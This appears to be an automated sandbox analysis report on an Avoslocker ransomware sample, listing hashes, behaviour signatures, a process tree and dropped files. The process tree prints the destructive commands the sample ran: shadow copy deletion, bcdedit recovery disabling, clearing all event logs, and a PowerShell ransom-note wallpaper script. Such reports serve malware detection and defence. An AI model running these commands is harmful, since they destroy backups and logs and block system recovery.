Resubmissions

18-04-2023 13:23

230418-qm9hxadd6t 10

18-04-2023 05:23

230418-f3g4gshg62 10

Analysis

  • max time kernel
    96s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-04-2023 13:23

General

  • Target

    794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe

  • Size

    807KB

  • MD5

    540a177a21044860e104dc2b0512a524

  • SHA1

    20014c52c83ed4cb87a2166ee77937684f1fbeb9

  • SHA256

    794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81

  • SHA512

    234d9b2c9a4b204e4962a9ba02824dfb312347a10bf642642e804b43db91786b0509022c33a671b0dc68cc89ca38841ffd33d38cefa928b8f10af298cc0beac8

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYAZ:u4s+oT+NXBLi0rjFXvyHBlbtCZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe
    "C:\Users\Admin\AppData\Local\Temp\794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe"
    1⤵
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:8796
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4428
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:8964
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:8808
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4276
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:8936
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3088
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:8924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:22592
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\40506556.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:22844
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:22920
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:8528

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      9bcb42cd18f95356b2d1a1a4de0b5aad

      SHA1

      b03da5cab852e8fafc12a52e424ec4b10431270d

      SHA256

      6e66527651da97c609c697e763e165eaf0fa1da104c26d311ec48fec9950ae24

      SHA512

      85961b90024f25a20943f9ce3b3c0959ced373d7b548cfc533bb51164aa615125528352438ab43e4b285ab570268bb4ed46f861db89d29d830230b9f63b0f496

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      50a8221b93fbd2628ac460dd408a9fc1

      SHA1

      7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

      SHA256

      46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

      SHA512

      27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aovtzvan.1lh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • \Device\HarddiskVolume1\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      9bcb42cd18f95356b2d1a1a4de0b5aad

      SHA1

      b03da5cab852e8fafc12a52e424ec4b10431270d

      SHA256

      6e66527651da97c609c697e763e165eaf0fa1da104c26d311ec48fec9950ae24

      SHA512

      85961b90024f25a20943f9ce3b3c0959ced373d7b548cfc533bb51164aa615125528352438ab43e4b285ab570268bb4ed46f861db89d29d830230b9f63b0f496

    • memory/8808-1275-0x00000297D8600000-0x00000297D8622000-memory.dmp

      Filesize

      136KB

    • memory/8808-3071-0x00000297BF740000-0x00000297BF750000-memory.dmp

      Filesize

      64KB

    • memory/8808-3467-0x00000297BF740000-0x00000297BF750000-memory.dmp

      Filesize

      64KB

    • memory/22592-24860-0x0000026CA7F90000-0x0000026CA7FA0000-memory.dmp

      Filesize

      64KB

    • memory/22592-24861-0x0000026CA7F90000-0x0000026CA7FA0000-memory.dmp

      Filesize

      64KB

    • memory/22592-24864-0x0000026CC2C30000-0x0000026CC2D7E000-memory.dmp

      Filesize

      1.3MB